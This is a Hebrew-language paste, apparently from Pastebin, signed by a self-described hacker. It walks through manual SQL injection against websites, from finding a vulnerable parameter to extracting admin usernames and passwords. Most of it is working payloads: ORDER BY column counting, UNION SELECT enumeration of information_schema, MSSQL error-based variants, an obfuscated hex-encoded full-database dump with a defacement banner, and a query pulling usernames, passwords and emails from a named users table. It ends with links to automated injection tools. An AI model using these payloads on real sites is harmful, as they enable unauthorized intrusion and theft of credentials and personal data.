zurael_sTz

מדריך פריצה ידני לאתר

Aug 1st, 2016
751
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.70 KB | None | 0 0
  1. Injection site manually
  2. הזרקה לאתר באופן ידני
  3. Hacker zurael sTz
  4. https://twitter.com/zurael_stz
  5. http://pastebin.com/9vbvv7Dq
  6.  
  7. (כדי שנוכל להזריק לו) sql קודם כל צריך למצוא אתר עם פגיע
  8. איך תכלו למצוא אפשרות של הזרקה על ידי (') בסוף הכתובת האתר
  9.  
  10. לדוגמא : www.targetwebsite.com/index.php?id=8 '
  11.  
  12. עכשיו שיש לנו אתר פגיע נוכל לעבור לשב הבא
  13.  
  14. www.targetwebsite.com/index.php?id=8 Order by 1
  15.  
  16. www.targetwebsite.com/index.php?id=8 Order by 2
  17.  
  18. www.targetwebsite.com/index.php?id=8 Order by 3
  19.  
  20. www.targetwebsite.com/index.php?id=8 Order by 4
  21.  
  22. www.targetwebsite.com/index.php?id=8 Order by 5
  23.  
  24. ואם השיטה הזאת לא תעבוד תוכלו לעשות גם תאפשרות הבאה
  25.  
  26. www.targetwebsite.com/index.php?id=8 order by 1--
  27.  
  28. www.targetwebsite.com/index.php?id=8 order by 2--
  29.  
  30. www.targetwebsite.com/index.php?id=8 order by 3--
  31.  
  32. אם אתה מקבל הודעה שגיאה ב-12 זה אומר שהבסיס נתונים נמצא ב-11
  33.  
  34. לפעמיים תקבלו סוג גיאה כזה
  35. Unknown column '12' in 'order clause'
  36.  
  37.  
  38. הטריק הזה משמש כדי לדעת כמה עמודות יש לבסיס נתונים
  39.  
  40. www.targetwebsite.com/index.php?id=8 Order by 1 (No Error)
  41.  
  42. www.targetwebsite.com/index.php?id=8 Order by 2 (No Error)
  43.  
  44. www.targetwebsite.com/index.php?id=8 Order by 3 (No Error)
  45.  
  46. www.targetwebsite.com/index.php?id=8 Order by 4 (No Error)
  47.  
  48. www.targetwebsite.com/index.php?id=8 Order by 5 (No Error)
  49.  
  50. www.targetwebsite.com/index.php?id=8 Order by 6 (No Error)
  51.  
  52. www.targetwebsite.com/index.php?id=8 Order by 7 (No Error)
  53.  
  54. www.targetwebsite.com/index.php?id=8 Order by 8 (No Error)
  55.  
  56. www.targetwebsite.com/index.php?id=8 Order by 9 (No Error)
  57.  
  58. www.targetwebsite.com/index.php?id=8 Order by 10 (No Error)
  59.  
  60. www.targetwebsite.com/index.php?id=8 Order by 11 (No Error)
  61.  
  62. www.targetwebsite.com/index.php?id=8 Order by 12 (Error)
  63.  
  64. כאן באתר הזה הוא מראה שגיאה ב-12 זה אומר שיש 11 עמודות לבסיס נתונים
  65.  
  66. מספר עמודות : 11
  67.  
  68.  
  69. השלב הבא הוא למצוא טור פגיע
  70.  
  71. עכשיו הריץ את מספר העמודות כמו שבדוגמא למטה כדי למצוא טור פגיע
  72.  
  73. לנו יצא 11 עמודות אז נריץ 11
  74. www.targetwebsite.com/index.php?id=-8 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11--
  75.  
  76. לרוב צריך להשתמש ב(-) כדי לקבל את העמודות הפגיעות
  77.  
  78. אצלנו מצאנו עמודות פגיעות 4-2-3
  79.  
  80. נשים את הפקודה הבא במקום העמודה הפגיעה -Database עכשיו כדי לדעת מה בגרסא של
  81. version()
  82.  
  83. www.targetwebsite.com/index.php?id=-8 union select 1,version(),3,4,5,6,7,8,9,10,11--
  84.  
  85.  
  86. עכשיו אפשר לעשות את זה גם אם שאילתות שונות
  87. version()
  88. database()
  89. user()
  90.  
  91. www.targetwebsite.com/index.php?id=-8 union select 1,version(),3,4,5,6,7,8,9,10,11--
  92.  
  93. www.targetwebsite.com/index.php?id=-8 union select 1,database(),3,4,5,6,7,8,9,10,11--
  94.  
  95. www.targetwebsite.com/index.php?id=-8 union select 1,user(),3,4,5,6,7,8,9,10,11--
  96.  
  97.  
  98. ואם השיטה הזאת לא תעבוד לכם יש לכם את האופציה הזאת
  99. www.targetwebsite.com/index.php?id=-8 and 1=2 union select 1,unhex(hex(@@version)),3,4,5,6,7,8,9,10,11--‏
  100.  
  101. השלב הבא הוא למצוא את שם הטבלה
  102.  
  103. מה שעשינו מקודם זה מצאנו את שם הגרסא של הבסיס נתונים והשם משתמש
  104.  
  105.  
  106. אם הגרסא היא 4 ומעלה אז אז נצטרך לנחש את השם
  107. Blind SQL
  108.  
  109. השלב הבא
  110.  
  111. from information_schema.tables where table_schema=database() ואז להוסיף "group_concat(table_name) <=החלף את מספר העמודה עם זה
  112.  
  113. דוגמא
  114. www.targetwebsite.com/index.php?id=-8 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()--
  115.  
  116. עכשיו תלחצו אנטר ואשפר לראות את הטבלה המלאה של המסד נתונים
  117. user
  118. admin
  119. login
  120. usernem
  121. אלו טבלות שקשורת למנהל
  122.  
  123.  
  124. השלב הבא הוא מציאת שם עמודה
  125.  
  126. "group_concat(column_name) with "group_concat(table_name)" עכשיו כדי למצוא שם עמודות תחליפו בין
  127.  
  128. ופה תחליפו בניהם
  129.  
  130. "from information_schema.tables where table_schema=database()--"
  131. with
  132. "FROM information_schema.columns WHERE table_name=mysqlchar--
  133.  
  134. Mysql Char עכשיו נצטרך להמיר את שם הטבלה לתוך
  135.  
  136. ( ותתקינו אותו Hackbar כדי להמיר תגלשו פיירפוקס ואז תלחצו על "סרגל כלים ותחפשו את)
  137. ולרשום את שם הטבלה שברצונכם להמיר MysqlChar אחרי שהתקנתם את האקבר אפשר לגשת ל-
  138.  
  139. mysqlcharאת שם הטבלה שהמרתם תעתיקו במקום ה
  140.  
  141. www.targetwebsite.com/index.php?id=-8 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11 FROM information_schema.columns WHERE table_name=CHAR(117, 115, 101, 114, 68, 97, 116, 97, 98, 97, 115, 101)--
  142.  
  143.  
  144. עכשיו תלחצו אנטר ואפשר לראות את שמות העמודות
  145.  
  146. user וכן אצלי מצאתי שם משתמש וסיסמא (אני פתחתי את הטבלה
  147.  
  148. השלב הבא זה להוציא את השם משתמש והסיסמא מהעמודה שלב הפריצה
  149.  
  150. עכשיו כדי להוציא את השם והסיסמא של מנהל האתר נחליף את
  151. group_concat(column_name) <==>>(username,0x2a,password)
  152.  
  153. לדוגמה
  154. http://targetwebsite.com/index.php?id=-8 and 1=2 union select 1,group_concat(username,0x2a,password),3,4,5,6,7,8,9,10,11 from userDatabase--
  155.  
  156.  
  157. עכשיו אחרי שהצלחנו להוציא את שם משתמש והסיסמא של מנהל האתר סיימנו את שם הפריצה והוצאת המידע מהאתר שרצנו
  158.  
  159. sql injectiob asp
  160.  
  161.  
  162.  
  163. and 0<=(SELECT count(*) FROM[admin]) and 1=1
  164. and 0<=(SELECT count([username]) FROM[admin]) and 1=1
  165.  
  166.  
  167. UNION SELECT ALL NULL NULL NULL NULL NULL NULL FORM admin
  168.  
  169. UNION SELECT ALL username NULL NULL NULL NULL NULL FORM admin
  170.  
  171.  
  172. or 1=convert(int,(db_name()))
  173. or 1=convert(int,(select+top+1+name+from+sysobjects))
  174. עכשיו כדי להתחבר לפנהל האתר אני ישים כאן 10 קישורים לחיפוש אחר אדמינים של אתרים
  175.  
  176. http://efytimes.com/e1/fullnews.asp?edid=132535
  177.  
  178.  
  179. Related sites: tools
  180.  
  181.  
  182. https://addons.mozilla.org/en-US/firefox/addon/hackbar/
  183.  
  184.  
  185. https://www.getmantra.com/download.html
  186.  
  187.  
  188. http://sourceforge.net/projects/witool/
  189.  
  190.  
  191. http://sqlninja.sourceforge.net/
  192.  
  193.  
  194. https://hackingheart.wordpress.com/2013/02/15/best-sql-injection-tool/
  195.  
  196.  
  197. https://code.google.com/p/jsql-injection/
  198.  
  199.  
  200. http://www.darknet.org.uk/2011/12/the-mole-automatic-sql-injection-sqli-exploitation-tool/
  201.  
  202.  
  203. http://www.itsecteam.com/products/havij-advanced-sql-injection/
  204.  
  205.  
  206. http://egodox.blogspot.com/2013/04/the-best-sql-injection-tools.html
  207.  
  208.  
  209. http://hack-tools.blackploit.com/2014/06/the-mole-automatic-sql-injection.html
  210.  
  211. #zurael_sTz israel
  212.  
  213. ##
  214. /*!00000concat*/(0x3c666f6e7420666163653d224963656c616e6422207374796c653d22636f6c6f723a7265643b746578742d736861646f773a307078203170782035707820233030303b666f6e742d73697a653a33307078223e496e6a6563746564206279207a757261656c5f73547a203c2f666f6e743e3c62723e3c666f6e7420636f6c6f723d70696e6b2073697a653d353e44622056657273696f6e203a20,/*!12345version()*/,0x3c62723e44622055736572203a20,/*!12345user()*/,0x3c62723e3c62723e3c2f666f6e743e3c7461626c6520626f726465723d2231223e3c74686561643e3c74723e3c74683e44617461626173653c2f74683e3c74683e5461626c653c2f74683e3c74683e436f6c756d6e3c2f74683e3c2f74686561643e3c2f74723e3c74626f64793e,(select%20(@x)%20/*!00000from*/%20(select%20(@x:=0x00),(select%20(0)%20/*!00000from*/%20(/*!12345information_schema*//**/.columns)%20where%20(table_schema!=0x696e666f726d6174696f6e5f736368656d61)%20and%20(0x00)%20in%20(@x:=/*!00000concat*/(@x,0x3c74723e3c74643e3c666f6e7420636f6c6f723d7265642073697a653d333e266e6273703b266e6273703b266e6273703b,/*!12345table_schema*/,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d677265656e2073697a653d333e266e6273703b266e6273703b266e6273703b,/*!12345table_name*/,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75652073697a653d333e,/*!12345column_name*/,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c2f74723e))))x))
  215.  
  216.  
  217. (SELECT(@x)/*!50000FROM*/(/*!50000SELECT*/(@x:=0x00) ,(SELECT(@x)/*!50000FROM*/(wrcatip_wclac.jos_users)/*!50000WHERE*/(@x)IN(@x:=/*!50000CONCAT*/(0x20,@x,/*!50000username*/,0x2a,password,0x2a,email,0x3c62723e))))x)
Advertisement
Add Comment
Please, Sign In to add comment